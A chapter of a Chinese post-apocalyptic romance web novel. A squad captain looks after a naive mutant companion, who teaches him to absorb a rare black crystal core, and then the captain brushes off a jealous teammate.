直到帮岁禾洗完澡之后,替他换上新的浴袍,傅清洲又捂着岁禾的眼睛把他从浴室里丢出去,然后“砰”的一声把自己关在里面。 岁禾全程都没回过神来,就这么莫名其妙地洗完澡,然后又莫名其妙地被丢出来。 35. 第 35 章 岁禾披着傅清洲过长的浴袍,蹲在地上有些不理解为什么傅清洲一句话也不说就把他扔出来。 他不懂人类的情绪。 他能猜测到傅清洲这并不是生气,但不知道是因为什么,他感受不出来。 等傅清洲重新冲了个冷水澡出来,一开门就看见蹲在门对面的岁禾。 “你在干嘛?” “等你。” 傅清洲看着他湿漉漉的头发,最后又折服下来,朝他招了招手。 岁禾站起来走向他,在他面前站定,“你刚刚为什么赶我走?” 他的语气十分的可怜,仿佛自己受了天大的委屈一样。 傅清洲被他一噎,干脆不说话了,直接把人拽进浴室,翻出吹风机替他吹头发。 热乎乎的风吹到岁禾的脸上,他晃了晃脸,听着这“呼呼”响的吹风机,想躲开又被傅清洲掰着脸把脑袋扶正。 “不舒服!”岁禾张嘴抗议。 这风热乎乎的,还吹在脸上,干干的。 “受着,再乱动今晚把你丢出去。” 岁禾听着他的话,不满地撇撇嘴。 他今天已经被傅清洲威胁好几次了,果然就是不喜欢了,一到家了就开始威胁他,开始表现得厌烦了。 傅清洲正在给他吹头发,不知道这人的脑子又在想什么鬼灵精怪的东西,只觉得这威胁倒是挺管用,起码真的变乖了。 等吹好头发之后,岁禾回头抱住他的腰,声音一听就很委屈,“你是不是不喜欢我了?你要赶我走,我没有地方去。” 傅清洲:??? 只是吹个头发,这人又在脑子里想了什么东西? “谁要赶你走?”傅清洲把吹风机放好,揉了揉他的发丝,很柔顺,干得也差不多了,于是就带他出浴室。 只是岁禾像个八爪鱼一样挂在他身上,傅清洲怎么扒都扒不下来,干脆就托着他的臀部,把他抱在怀里,直接走出去。 “你有。”岁禾抱着他的脖子,“你刚刚还说要把我丢出去!” 果然还是有点蠢蠢的,连威胁都看不出来。傅清洲把他放在沙发上,抬手点了点他的额头,有些无奈地笑着:“逗你呢,不会把你丢出去的。” 岁禾撇撇嘴,盘着腿看着他,“可是你老让我做不喜欢的事情,刚刚那个呼呼响的东西我就不喜欢,它吹得我的脸干干的,热热的。” 知道岁禾是异变种,很不习惯人类的东西,但傅清洲又不能直接拆穿岁禾是异变种的事情。他精心藏起来的秘密在当天就被发现了,自己要是知道了会不会都觉得自己有些蠢。 傅清洲换了个思路,道:“你一个人在森林里待久了,没有见过这些东西,很多没见过也没使用过的东西,所以我在教你。” “在安全基地,你要每天都洗澡,洗完澡还要吹头发,刚刚那个就是吹头发,要是不干的话会头痛。” 岁禾不知道痛这个概念是什么,毕竟他没体验过头痛是什么。 于是他问:“比流血还痛吗?” 为了让岁禾长点教训,傅清洲骗起小孩来根本就没有愧疚感,“会,可能还会更痛。” 岁禾“嘶”了一声,嘟囔着:“那好吧,我以后不会嫌弃它了。” “这才对。”傅清洲满意地勾起一个笑容。 在骗小孩的同时,他忽然又害怕岁禾这样子在外面会不会被骗?就比如今天听说他被带走的时候,傅清洲的心都揪起来了,生怕岁禾出了什么事。 他更怕的时候那些人把岁禾惹怒了,然后岁禾直接在安全基地把人杀了,这才是最难办的。 岁禾的本人格还好说话,但是次人格就不一样了,次人格可是差点把双生子一起杀死的存在。 又跟岁禾胡扯了一下之后,答应他明天带他出门去看看,傅清洲又把人哄到房间休息。 “你不一起吗?”岁禾扒着次卧的门,看着要离开的傅清洲。 那张床已经被铺好了,他看着傅清洲铺的床,但这个人把床铺好之后就要离开了。 “我在隔壁,有事可以叫我。” 岁禾依旧扒着门框,“我不想一个人……我也要去隔壁。” 傅清洲对他的粘人没有办法,再三犹豫之后,对上岁禾那双可怜巴巴的渐变色眼眸,瞬间就心软沦陷了,“行,我跟你一起行了吧?” “好耶!”岁禾开心地举着双手,然后跑出门绕进隔壁的房间。 傅清洲跟在他身后,忽然想起来他从两位博士那里要到的黑色晶核,又转身下楼去拿上来。 他刚一进门,岁禾就闻到了一股香味,和那天他闻到的一样,他的肚子随着这个香味跟着一起咕噜噜叫起来。 岁禾抱着被子的一角,死死盯着进来的傅清洲,“粥粥,我闻到了好香好香的味道。” 这都能闻到? 傅清洲原本还想给他一个惊喜,这样看来根本不算是惊喜了吧。 等他坐在床上,岁禾立马松了被子爬过去从后面抱住他的脖子,“在你身上,好香的味道。” 他目不转睛地看着傅清洲手里那个小小的盒子,下巴抵在傅清洲的肩膀上,“是什么东西?” “明知故问?”傅清洲把东西递到他面前,“不是早就闻到了味道?” 岁禾嘿嘿一笑,又松开了傅清洲的脖子,接过那个盒子打开,果然在里面看见了黑色的晶核,眼睛都亮了起来。 “是好吃的!你去哪得的呀?你不是说没有了吗?”岁禾爬到床边坐在他身边,扭头看向傅清洲。 “喜欢吗?” 岁禾重重地点了个头,“喜欢!” 看着岁禾脸上的笑容,傅清洲也不自觉露出了一抹笑。他觉得这样下去先沦陷的肯定是自己了,但已经没办法停止了。 人类和异变种只能走向对立面。 所以他和岁禾,注定也会这样吧?这种喜欢就默默藏在心里好了。 岁禾拿着手里的黑色菱形晶核在手中怜爱地摸着,一会儿又举到头顶看看,一会儿又握在手心里,可见是有多喜欢了。 不一会儿,傅清洲就听见“咔嚓”一声,每次都要感叹一下岁禾的牙口时,一扭头发现他并没有咬碎,而是把那颗小小的晶核摆成了两半。 傅清洲这下更震惊了。 黑色晶核砸不烂的啊…… 岁禾歪了歪头,看着手心里的两块东西,把另一半塞进嘴里,又从另一块中掰出一小块。 傅清洲震惊地看着他这一幕,一时之间不知道说什么,“你……” 他“你”了半天也不知道怎么开口。 岁禾把手心里那一小片东西递到傅清洲面前,又把剩下大半块塞进嘴里,满足地打了个嗝,“这个是给你的。” “给我?”傅清洲有些疑惑地看着他手心里那只有拇指大的碎片。 岁禾点点头,“我跟阿溯他们打听过了,晶核是供异能者吸收,虽然我的吸收方式不同。但你们只能吸收绿色和白色的对吧?” “阿溯说黑色的晶核太稀有了,而且异能者也不能吸收,严重的话会爆体而亡。” 岁禾挠了挠脑袋,“我知道怎么能让你们吸收黑色晶核。” 虽然岁禾也不知道自己是怎么知道的,但这种莫名其妙在脑子里出现让知识真的让岁禾觉得很有用,起码在关键时刻很有用。 “你知道?”傅清洲更加震惊了。 岁禾点了点头,牵起他的手,又拿起那块黑色的晶核碎片,很快,黑色的碎片漂浮在空中。 “用你的手去碰它。”岁禾说着。 傅清洲没有丝毫怀疑他的样子,反而是很听话地伸出手去触碰空中那块黑色的碎片,在触碰上去的瞬间,一股力量从他的指尖缓缓窜进来,在他体内胡乱游走。 这股力量极其的陌生,傅清洲还有些操控不住,他想抽回手,发现自己的手好像被黑色碎片吸住了一样,根本挪不开。 他眉头紧皱着,有些不熟练地操控自己体内的能量去驯服那陌生的力量。 岁禾看着傅清洲有些不舒服,眉头也跟着一挑,看着那块碎片,很不满地开口:“又在闹什么?” 轻飘飘的一句话,傅清洲只觉得在自己体内乱窜的陌生力量瞬间温顺下来,等待着傅清洲吸收它。 傅清洲很好奇岁禾是怎么做到的,但现在明显是先把体内的力量给收服。 做完这一切之后,岁禾打了个哈欠,看了一眼正在闭眼吸收能量的傅清洲,最后躺在他旁边也跟着闭上了双眼。 等傅清洲再次睁眼的时候,已经是白天了,体内的力量被他收服,即便是一夜没睡,他都觉得格外的精神。 岁禾缩在他旁边睡得很香,不知道做了什么美梦,脸颊蹭了蹭傅清洲的大腿,然后咂咂嘴,又把脸埋进被子里。 挺可爱的。 傅清洲抬手轻轻捏了捏他的脸,软乎乎的,还真是跟小孩子没什么区别。 不知道岁禾是在沉睡恢复能量还是正常的睡觉,傅清洲尝试叫醒他,“岁禾,醒醒。” 说好今天要带他出去逛逛安全基地来着。 岁禾又蹭了蹭他的手,迷迷糊糊地睁开眼睛,软绵绵地喊了一句,“粥粥……” 靠…… 傅清洲听着这语气,呼吸一滞,随后松开手站起来,“先起来洗漱,晚点带你出去一趟。” 岁禾抬手揉了揉眼,在床上翻滚了一圈才爬起来。 傅清洲一扭头又看见了十分香艳的画面,原本就过大的浴袍穿在他身上,被他弄得乱糟糟的,从肩膀上滑落到腰间,被腰带松松垮垮地挂住。 露出白皙的皮肤和细弱的腰,以及小腹上那狰狞饭伤口。 傅清洲连看都不敢看了,扭头就出了房间。 岁禾不知道他怎么回事,慢吞吞地把衣服扯好跳下床跟着跑出去,“你等等我呀,跑那么快干嘛?” 好不容易追上去,岁禾抓住他的手腕,冷哼了一声,“大白天的,你为什么要躲我啊?” “没躲你。”傅清洲漫不经心地说着,只不过是某个人总是仗着自己什么都不懂,仗着自己是异种的身份经常勾引人而不自知罢了。 岁禾“哦”了一声,跟着他一起进了浴室,又乖乖地听傅清洲教他怎么洗漱。 看着他学得有模有样的,傅清洲甚是满意,只是吐泡沫的时候,扭头一看岁禾把泡沫咽了下去。 傅清洲:…… 撤回一个满意。 “这个不能咽!”傅清 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岁禾也好奇到底是谁,从傅清洲腰间探出一颗脑袋,在看见门口站着的人时愣了一下,然后扬起笑脸,“你好呀。” 齐歆杨看着这莫名其妙多出来的脑袋,有些呆滞,又看着他和傅清洲的亲密程度,瞬间就有些生气。 他咬咬牙,道:“听安哲哥说你回来了,我买了点东西过来看看你,你家里应该很多东西都不能用了吧?我都给你换新的了。” 傅清洲默不作声地把岁禾的脑袋给挤回去,语气淡淡地,“不用了,谢谢。博士们已经喊人帮我换新过了,你留着自己用吧。” “要是没什么事的话,那就请回吧。” 齐歆杨脸上的笑容僵住了,但还是厚着脸皮开口:“不让我进去坐坐吗?队长。” 身边的岁禾一直想找机会探个脑袋出来,但傅清洲只开了一半的门还被自己挡住了,想从他腰间钻出去也被挡住了。 想看个人都看不了。 再三犹豫之后,傅清洲还是给他让了路,拽着岁禾的手腕站在旁边,看着他进来之后又把门关上。 这下岁禾能看清齐歆杨的脸了,是一个很可爱的人,年纪看着比傅清洲小很多,脸上还有婴儿肥,笑起来脸上还有两个小梨涡。 “你好呀。”岁禾朝着他笑了笑,“我叫岁禾。” 齐歆杨也扬起笑脸和他打招呼,“我叫齐歆杨。”但脸上的笑容没维持到三秒,看见他扯着傅清洲的衣角之后瞬间就沉下来了。 “坐着吧,没什么东西招待你,有什么事就直说。”傅清洲扬了扬下巴,指着那边的沙发。 齐歆杨把东西放在玄关处,扭头瞪了一眼他身后的人,然后走到沙发上坐下,“我听安哲哥说你带了个人进第一小队,我就想过来问问这是怎么回事。” “就那回事,他足够强,破例让他进也不是不行,我跟秦安哲说过了,如果他不服气,可以等岁禾伤好了他俩切磋一下。” 傅清洲坐在他对面的沙发上,翘起二郎腿直视着眼前的人。 岁禾坐在他身边,把头搭在傅清洲的肩膀上,打量着对面的齐歆杨。 那个人对自己好像有着莫名其妙的敌意,岁禾说不清楚是因为什么,但他很喜欢这种莫名其妙的敌意。 齐歆杨咬着下唇,视线落在岁禾身上,看着他们的动作,嫉妒得快要死了,“队长和他这是……” “小孩子胡闹。”傅清洲点了点岁禾的脑袋,后者抬起眸子怒瞪了他一眼,又搭回去,还冷哼一声表示抗议了。 岁禾看起来确实显小,齐歆杨听完傅清洲的话之后又扬起了笑脸,万一岁禾还未成年呢?傅清洲绝对不会对未成年下手的吧。 “队长,我是有一件事要跟你说,这次没有跟着安哲哥他们一起出任务,是因为我留在基地里照顾阿姨了。”齐歆杨缓缓开口:“我没去接你,是我的不对。” “没什么,不来也没事。”傅清洲不知道他说这些的意义,但对于有没有人来接他,这些都无所谓。 在末世里,大家都忙着活命,这才是最重要的。 “粥粥很强的,根本不需要有人来接他!”岁禾笑眯眯地开口:“而且粥粥非常非常的棒,他能一个人打倒好多异变种呢。” 听见岁禾的这个称呼,齐歆杨更是一顿,眼底的嫉妒都快要冒出来了,众所周知,傅清洲很少让人这么亲近地叫他,就连他父亲都不会这么亲密地叫人。 而岁禾轻轻松松就这么叫了,傅清洲脸上没有一点冷漠,因为他的称呼而柔和下来的表情,还抬手揉了揉岁禾的发丝。 “我知道,队长很强。”齐歆杨深吸一口气,“是这样的,队长,不知道你考虑得怎么样,就是阿姨说的那件事,让我们搬过来一起住培养感情……” 岁禾歪了歪头,不明白他话里是什么意思。 傅清洲的脸色却冷了下来,他的手搭在双腿上,坐直了身子。岁禾没有支撑,差点摔进他身后的沙发里。 “齐歆杨,我觉得我有必要在说一遍。” “我妈说的事你就去找我妈,别来找我。是我妈喜欢你,不是我喜欢你。” “这次听懂了吗?”